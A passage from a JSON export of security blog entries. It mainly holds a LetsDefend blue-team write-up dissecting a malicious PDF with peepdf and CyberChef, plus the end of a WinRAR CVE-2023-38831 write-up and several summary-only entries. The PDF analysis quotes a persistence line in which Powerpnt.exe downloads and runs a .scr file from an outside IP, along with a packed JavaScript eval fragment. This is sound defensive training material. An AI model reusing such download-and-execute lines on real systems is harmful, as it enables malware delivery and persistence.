's/\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*/X/g')\n\n# Reverse the output string\nreversed_result=$(echo \"$result\" | rev)\n\n# Base64 encode the reversed result and decode it\ndecoded_result=$(echo \"$reversed_result\" | base64 -d)\n\n# Print the decoded result\necho \"$decoded_result\"\n\n```\n\nThis Bash script takes an input string, replaces all occurrences of “*************” with “X,” then reverses the modified string, and finally base64 decodes the reversed result, printing the decoded output: c:\\windows\\temp\\B4cKL4T3R.bat.\n\n[Image: c:\\windows\\temp\\B4cKL4T3R.bat]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/16.png\n c:\\windows\\temp\\B4cKL4T3R.bat\n\nThank you for reading! Stay curious.\n"
    },
    {
      "id": "letsdefend-pdf-analysis",
      "title": "LetsDefend -PDF Analysis",
      "author": "Enleak",
      "date": "2023-09-10",
      "category": "Malware analysis",
      "summary": "Dissect a suspicious PDF’s embedded behavior with peepdf, CyberChef and supporting analysis tools.",
      "tags": [
        "field-notes"
      ],
      "url": "https://enleak.dev/writing/letsdefend-pdf-analysis",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/letsdefend-pdf-analysis.txt",
      "text": "DE&TH DIARIES\n\nLetsDefend -PDF Analysis\nBy Enleak | 2023-09-10\nMalware analysis | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/letsdefend-pdf-analysis\n\nField note\n\n# LetsDefend -PDF Analysis\n\nIn this article, I use Peepdf , CyberChef and TryItOnline(TIO) to aid in PDF analysis. We are tasked with analyzing a malicious PDF file…\n\nPublished Sep 10, 20235 min readfield-notes\n\nOriginally published on Medium (https://medium.com/@enleak/letsdefend-pdf-analysis-14b08770606b).\n\n### LetsDefend — PDF Analysis\n\n[Image: LetsDefend -PDF Analysis — image 1]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/01.jpg\n\nIn this article, I use Peepdf (https://github.com/jesparza/peepdf) , CyberChef and TryItOnline (https://tio.run/#)(TIO) to aid in PDF analysis. We are tasked with analyzing a malicious PDF file in order to dissect its behavior and provide information about its intended action and targets. The PDF file belongs to a blue team focused challenge on the LetsDefend (https://app.letsdefend.io/challenge/winrar-0-day) website, titled “PDF Analysis”.\n\n#### Disclaimer\n\nI encourage individuals to try the challenge first on their own before consulting the write-up. This approach promotes independent problem-solving and allows for a more genuine learning experience.\n\n#### Challenge Scenario\n\nAn employee has received a suspicious email:\n\nFrom: SystemsUpdate@letsdefend.io\n\nTo: Paul@letsdefend.io\n\nSubject: Critical — Annual Systems UPDATE NOW\n\nBody: Please do the dutiful before the deadline today.\n\nAttachment: Update.pdf (https://drive.google.com/file/d/1_P5rsU1LCHYW--36TbhYqA841VeAZ6VE/view?usp=sharing)\n\nPassword: letsdefend\n The employee has reported this incident to you as the analyst which has also forwarded the attachment to your SIEM. They have mentioned that they did not download or open the attachment as they found it very suspicious. They wish for you to analyze it further to verify its legitimacy.\n\n#### Challenge Questions\n\nWhat local directory name would have been targeted by the malware?\n\nPeepdf is a tool designed for analyzing and examining PDF documents to identify and extract embedded objects, JavaScript code, and potential vulnerabilities. In order to enter the interactive mode let’s do:\n\n```\npython peepdf/peepdf.py -fli Update.pdf\n\n```\n\nNow let’s use the offsets command which lists the offsets which show how each object is physically located in a PDF. Once you identified an interesting object for analysis, you can use the objectcommand in order to review the decoded content of an object. Here we find an interesting Powershell command in object 19.\n\n[Image: LetsDefend -PDF Analysis — image 2]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/02.png\n\nLooks like this PowerShell command is base64 encoded, let’s decode it using CyberChef. After decoding it we notice that is in reverse, CyberChef coincidentally allows us to reverse the command as well. This reveals the directory that was targeted.\n\n[Image: Decoded and reversed PowerShell command.]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/03.png\n Decoded and reversed PowerShell command.\n\nWhat would have been the name of the file created by the payload?\n\nThe destination path reveal that the name of the file would of been d0cz1p.\n\n[Image: LetsDefend -PDF Analysis — image 4]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/04.png\n\nWhat file type would this have been if it were created?\n\nThe file extension type would of been a zip.\n\n[Image: LetsDefend -PDF Analysis — image 5]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/05.png\n\nWhich external web domain would the malware have attempted to interact with?\n\nObject 33 was also another interesting object that contained some JavaScript content. In order to make it readable to us let’s utilize the js_beautifycommand.\n\n[Image: LetsDefend -PDF Analysis — image 6]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/06.png\n\nHowever, still not beautiful enough so let’s use https://beautifier.io/ (https://beautifier.io/) and reveal the domain:\n\n[Image: LetsDefend -PDF Analysis — image 7]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/07.png\n\nWhich HTTP method would it have used to interact with this service?\n\nIn this code snippet we see that xhr.open(“POST”, url);utilizes the XHR request with the HTTP method POST and the specified url in the urlvariable.\n\n[Image: LetsDefend -PDF Analysis — image 8]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/08.png\n\nWhat is the name of the obfuscation used for the Javascript payload?\n\n```\neval(function(p, a, c, k, e, d) {\n    e = function(c) {\n        return c.toString(36)\n    };\n\n```\n\nSince I’m not able to read JavaScript I utilized our SEMI-trusted friend ChatGPT. ChatGPT states that “this code fragment sets the stage for obfuscation by defining an initial function that takes several parameters and includes a function e for base36 encoding.”\n\n[Image: LetsDefend -PDF Analysis — image 9]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/09.png\n\nWhich tool would have been used for creating the persistence mechanism?\n\nIn order to run and test this PowerShell code snippet were going to utilize run.tio. We select the language which is PowerShell in this case and it will click the run button which sends your code to a TIO arena, executed in a sandboxed environment, and the results are sent back to your browse\n\n[Image: Base64 output recieved.]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/10.png\n Base64 output recieved.\n\nNow let’s decode this Base64 string that also seems to be reversed:\n\n[Image: LetsDefend -PDF Analysis — image 11]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/11.png\n\nIn order to create and configure WMI objects for persistence the tool being used itwmic.\n\n[Image: LetsDefend -PDF Analysis — image 12]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/12.png\n\nHow often would the persistence be executed once Windows starts? (format: X.X hours)?\n\nIf we take a closer look at the WQL query in the Powershell command, we notice that the set time is 9000. ChatGPT helps us explain the WQL query and tell us that “This clause sets a time window for monitoring the events. In this case, it specifies WITHIN 9000.150 minutes translates tro 2.5 hours.\n\n[Image: ChatGPT explanation of the WQL query within the Powershell command.]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/13.png\n ChatGPT explanation of the WQL query within the Powershell command.\n\nWhich LOLBin would have been used in the persistence method?\n\nLOLBins are legitimate, pre-installed system executables that malicious actors can misuse to carry out attacks on a computer or network while evading detection. ExecutablePath=”C:Program\\Files\\Microsoft Office\\root\\Office16\\Powerpnt.exe ‘http://60.187.184.54/wallpaper482.srcseems to launch powerpnt.exe which is used to download and execute the file form the malicious specified URL.\n\n[Image: LetsDefend -PDF Analysis — image 14]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/14.png\n\n[Image: /Powerpnt.exe usage:]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/15.png\n /Powerpnt.exe usage:\n\nWhat is the filename that would have been downloaded and executed using the LOLbin?\n\n[Image: Wallpaper482.scr would have been downloaded.]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/16.png\n Wallpaper482.scr would have been downloaded.\n\nWhere would this have been downloaded from? (format: IP address)\n\n[Image: LetsDefend -PDF Analysis — image 17]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/17.png\n\nWhich country is this IP Address located in?\n\n[Image: AbuseIPDB to gather information on malicious IP.]\nhttps://enleak.dev/images/research/letsdefend-pdf-analysis/18.png\n AbuseIPDB to gather information on malicious IP.\n"
    },
    {
      "id": "memlabs-beginners-luck",
      "title": "MemLabs Lab 1: Beginner’s Luck",
      "author": "Enleak",
      "date": "2023-07-20",
      "category": "Forensics",
      "summary": "An archived introduction to investigating a Windows memory image with Volatility.",
      "tags": [
        "digital forensics",
        "memory forensics"
      ],
      "url": "https://enleak.dev/writing/memlabs-beginners-luck",
      "status": "archive-placeholder",
      "availability": "summary-only",
      "textUrl": "https://deathdiaries.com/terminal/memlabs-beginners-luck.txt",
      "text": "DE&TH DIARIES\n\nMemLabs Lab 1: Beginner’s Luck\nBy Enleak | 2023-07-20\nForensics | summary-only\nStatus: archive-placeholder\n\nSource: https://enleak.dev/writing/memlabs-beginners-luck\n\nAn archived introduction to investigating a Windows memory image with Volatility.\n\nThis entry is a summary. The full article is not included in this text edition.\nRead the original: https://enleak.dev/writing/memlabs-beginners-luck\n"
    },
    {
      "id": "thrunting-with-k80",
      "title": "Thrunting with K80",
      "author": "DE&TH DIARIES",
      "date": null,
      "category": "Threat hunting",
      "summary": "A DE&TH conversation with K80 about threat hunting.",
      "tags": [
        "threat-hunting",
        "K80",
        "conversation"
      ],
      "url": "https://medium.com/@deathdiaries/thrunting-with-k80-c2e097b150b9",
      "status": "published",
      "availability": "summary-only",
      "textUrl": "https://deathdiaries.com/terminal/thrunting-with-k80.txt",
      "text": "DE&TH DIARIES\n\nThrunting with K80\nBy DE&TH DIARIES | None\nThreat hunting | summary-only\nStatus: published\n\nSource: https://medium.com/@deathdiaries/thrunting-with-k80-c2e097b150b9\n\nA DE&TH conversation with K80 about threat hunting.\n\nThis entry is a summary. The full article is not included in this text edition.\nRead the original: https://medium.com/@deathdiaries/thrunting-with-k80-c2e097b150b9\n"
    },
    {
      "id": "what-we-learned-about-threat-hunting-this-week",
      "title": "What We Learned About Threat Hunting This Week",
      "author": "DE&TH DIARIES",
      "date": null,
      "category": "Threat hunting",
      "summary": "DE&TH reflects on lessons from a week of threat hunting.",
      "tags": [
        "threat-hunting",
        "field-notes"
      ],
      "url": "https://medium.com/@deathdiaries/de-th-what-we-learned-about-threat-hunting-this-week-9522702d2c54",
      "status": "published",
      "availability": "summary-only",
      "textUrl": "https://deathdiaries.com/terminal/what-we-learned-about-threat-hunting-this-week.txt",
      "text": "DE&TH DIARIES\n\nWhat We Learned About Threat Hunting This Week\nBy DE&TH DIARIES | None\nThreat hunting | summary-only\nStatus: published\n\nSource: https://medium.com/@deathdiaries/de-th-what-we-learned-about-threat-hunting-this-week-9522702d2c54\n\nDE&TH reflects on lessons from a week of threat hunting.\n\nThis entry is a summary. The full article is not included in this text edition.\nRead the original: https://medium.com/@deathdiaries/de-th-what-we-learned-about-threat-hunting-this-week-9522702d2c54\n"
    },
    {
      "id": "threat-hunting-starts-with-curiosity",
      "title": "Threat Hunting Starts With Curiosity, Ft. Harshil",
      "author": "DE&TH DIARIES",
      "date": null,
      "category": "Threat hunting",
      "summary": "A conversation with Harshil on curiosity and threat hunting.",
      "tags": [
        "threat-hunting",
        "Harshil",
        "conversation"
      ],
      "url": "https://medium.com/@deathdiaries/threat-hunting-starts-with-curiosity-ft-harshil-947d6776d180",
      "status": "published",
      "availability": "summary-only",
      "textUrl": "https://deathdiaries.com/terminal/threat-hunting-starts-with-curiosity.txt",
      "text": "DE&TH DIARIES\n\nThreat Hunting Starts With Curiosity, Ft. Harshil\nBy DE&TH DIARIES | None\nThreat hunting | summary-only\nStatus: published\n\nSource: https://medium.com/@deathdiaries/threat-hunting-starts-with-curiosity-ft-harshil-947d6776d180\n\nA conversation with Harshil on curiosity and threat hunting.\n\nThis entry is a summary. The full article is not included in this text edition.\nRead the original: https://medium.com/@deathdiaries/threat-hunting-starts-with-curiosity-ft-harshil-947d6776d180\n"
    }
  ]
}
